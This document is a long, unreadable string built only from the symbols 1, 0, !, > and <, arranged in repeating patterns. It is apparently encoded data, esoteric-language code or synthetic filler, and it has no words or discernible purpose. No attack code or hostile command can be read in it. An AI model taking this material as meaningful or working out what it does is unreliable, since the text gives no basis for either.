1!1>01010111>01!1!1>0>1!1!1!1!1!1!1!<>1>0>1!<>1>0>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1!1>0>10110>1!10110>10110>1!1>0>1!1>0>1>0>1!<>1!10110>1!1>0>1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1!1!<>1!1!1!10110>10110>10110>1!1>0>1!1>0>1>0>1!1!1!1>0>10110>10110>1!1>0>1!1!10110>10110>1!10110>1!1>0>1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1>0>10110>10110>1!1>0>1!1!1>0>1>0>1!1>0>10110>10110>1!1!1!1!1>0>10110>1!1!1>0>1!1!1!1!1>0>10110>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>01010111>01!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!10110>1!1!1>0>1>0>1!1>0>10110>1!10110>1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!10110>1!1>0>1!10110>1!1!1>0>1!1!1>0>1>0>1!1!1!10110>1!1!1!1!1!<>1>0>10110>1!1!1!1!1>0>1>0>1!101101010111>01>0>1!1!1>0>10110>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!10110>1!1!1!<>1>0>1!<>1>0>1!1!1>0>1!1!1!1!1!<>1>0>1!1!1!10110>1!10110>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1!1!1>0>1>0>10110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1>0>10110>10110>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0><>1!1!1>0>1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!10110>1!1>0>1>0>10110>1!1>0>10110>10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!10110>1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>10110>1!10110>10110>1!1>0>1>0>1!1!1!1>0>10110>1!1>0>10110>1!1>0>1!1!1!1!1!<>1>0>1!<>10110>1!1!1!1!<>1!1>0>1!1!1!1!1>01010111>01!1!1>0>1!1>0>1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1!1!1>0><>1!1!1!1!10110>1!1!1!1!1!10110>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!10110><>1!1>0>10110>1!1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!10110>10110>1!10110>1!1>0>1>0>10110>1!1>0>1>01010111>01>0>1!1!1>0>1!10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1!<>1>0>1!<>1>0>1!1>0>1!1!1!1!<>1>0>10110>10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1>0>10110>1!1>0>1>0>1!1>0>1>0><>1!1>0>1!1>0>1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>101101010111>01>0>1!10110>1!1!1!1>0>1!1>0>1!10110>1!10110>1!1!10110>1!1!1>0>10110>1!1>0>1!10110>1!1>0>10110>1!1!1!<>1>0>1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!<>1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>10110>1!1!1>0>1!10110>10110>1!10110>1!1!1>0>1>01010111>01>0>1!1>0>1>0>1!10110>1!1!1>0>10110>1!1>0>10110>1!1>0>1!1!1!1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1>0>10110>1!10110>10110>1!1!101101010111>010110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!10110>10110>1!1>0>1!1>0>1!1!1>0>10110>1!1!1!<>1>0>1!<>1>0>1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1>0>1!1>0>1>01010111>10111>01>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>10110>10110>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1>01010111>01!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>10110>1!1>0>10110>1!1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>10110>1!10110>1!10110>1!1!1>0>1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>1!1!<>1!1>0>1!1!1!1!1!1!1!10110>10110>1!1!<>1!1>0>1!1!1!1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1!10110>1!1!1!1!1>0>1!<>1!1!1!10110>1!10110>1!1!1>0>1>0><>1>0>1!1>0>1>0>101101010111>01>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0><>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0><>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!<>1!1>0>1!<>1>0>1!10110>1!1!<>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!10110>10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0><>1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1!1!1>01010111>01!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1!10110>1!10110>1!1>01010111>10111>01!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!10110>1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>10110>10110><>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!10110>1!1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1!10110>1!1!1>0>1!1!<>1!1>0>1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!<>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!<>10110>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>01010111>01!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>10110>1!1>0>1>0>1!1>0>10110>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>10110>10110>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!10110>10110>1!10110>1!1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1>0>1!1>01010111>010110>1!1>0>1>0>1!1!10110>10110>1!10110>1!1>0>1>0><>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!<>1!1>0>1!<>1>0>1!1!1>0>1>0>1!1!<>10110>1!1!1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!10110>10110>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>10110>1!10110>1!1!1>0>1>0>1!<>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1!1!1>0>10110>1!1>0>1!1>0>10110>1!1>0>1!1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>10110>1!1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1!10110>10110>1!1>0>1>0>1!1!10110>10110>1!1!1!<>1!1!10110>1!1!10110>1!1!1>0>1!1!1!<>1!1>0>1!<>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>1!10110>10110>1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0><>1!10110>1!1!1!1>0>10110>1!10110>10110>1!1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1>01010111>010110>1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!10110>1!1!1!1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!10110>1!1!1>0>1!1>0>1>0>1!1>0>1!10110>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!1!<>1!1>0>1!<>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>10110>1!1>0>1>0>101101010111>01!1>0>1>0>1!1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!10110>1!1>0>1!10110>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!10110>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!10110>1!10110>1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!10110>10110>10110>10110>10110>1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!10110>10110>1!1>0>10110>1!1>0>1!1!1>0>1!10110>1!1!1!10110>1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!<>1!1!1>0>1!10110>1!1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>10110>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1!10110>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1>0>10110>10110>1!10110>1!1!1!10110>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!10110>1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!1>0>1!1!<>1!1>0>1!<>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>101101010111>01>0>10110>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!10110>1!1!<>1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>10110>1!1!<>10110>1!10110>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1!<>1!1>0>1!<>1>0>10110>1!1!1!1!1!<>10110>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>10110>10110>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1>0>1!10110>1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1!1!1!1!10110>1!10110>1!1!1>0>1>01010111>01>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1!10110>1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!10110>1!1!1!1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!<>10110>10110>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!<>1!1>0>1!<>1>0>1!1>0>1>0>1!1!1!<>1!1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1!1!1!10110>1!1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!10110>1!10110>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!10110>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!10110>1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0><>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!10110>1!1>0>1!1!1!<>1!1!1>0>1>0>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1!101101010111>01!1>0>1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!10110>1!1!1!10110>10110>1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1>0>101101010111>01!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1>0>10110>10110>10110>10110>1!1!1!<>1!1!1>0>1>0>10110>10110>10110>1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>10110>1!1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1>0>1!1!<>1!1>0>1!<>1>0>1!1!1>0>1!1!1!<>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1>01010111>01!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>10110>10110>1!1!101101010111>01!1!1>0>10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>10110>1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1!1>0>1!10110>10110>1!10110>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!10110>10110>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1!<>1!1>0>1!<>10110>1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!10110>10110>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1>0><>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!10110>10110>1!1>0>1!10110>1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1!10110>10110>1!1!1>0>1>0>10110>1!1>0>10110>1!1!1>0>1>0>10110>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!10110>1!10110>1!1!1!1>0>1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1!10110>10110>1!1>0>1>0>10110>1!10110>10110>1!1!10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>1!1!<>1!1>0>1!<>1>0>1!1>0>1!1!1!1!<>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!10110>1!1!101101010111>01!1!1>0>1>0>1!10110>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1!1>0>101101010111>0<>1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!10110>1!1!1!1!1!<>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!10110>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>10110>1!1!10110>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>10110>10110>1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>0>10110>1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1!10110>1!1!1!10110>10110>1!1!1!1>0>1>0>1!1!1!1!<>1!1>0>1!<>1>0>1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!1!10110>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>01010111>01!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1!1!1>0>1>01010111>01!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1!1>0>1!1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!10110>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1!1!<>1!1!1!1!1!1!1!10110>10110>1!1!<>1!10110>1!1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!<>1>0>1!1!1>0>1!1>0>10110>1!1!10110>1!10110>1!1>0>1!1>0>1!10110>1!1!1!10110>1!1!10110>1!1>0>1>0>1!1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>10110>1!1!1!1!10110>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>10110>1!10110>10110>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1!10110>1!1!1!1!<>1!<>1>0>1!10110>1!1!1!1!<>1!1!1!1!1>0>1>0>10110><>1>01010111>01>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1>0>1>0>10110>1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1!10110>1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>10110>10110>1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1!10110>1!1!10110>1!1!1!1!1>0>1>0>1!1!1!1!1>0>10110>10110>1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>10110>1!1!1>0>1>01010111>01!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0><>101101010111>01!1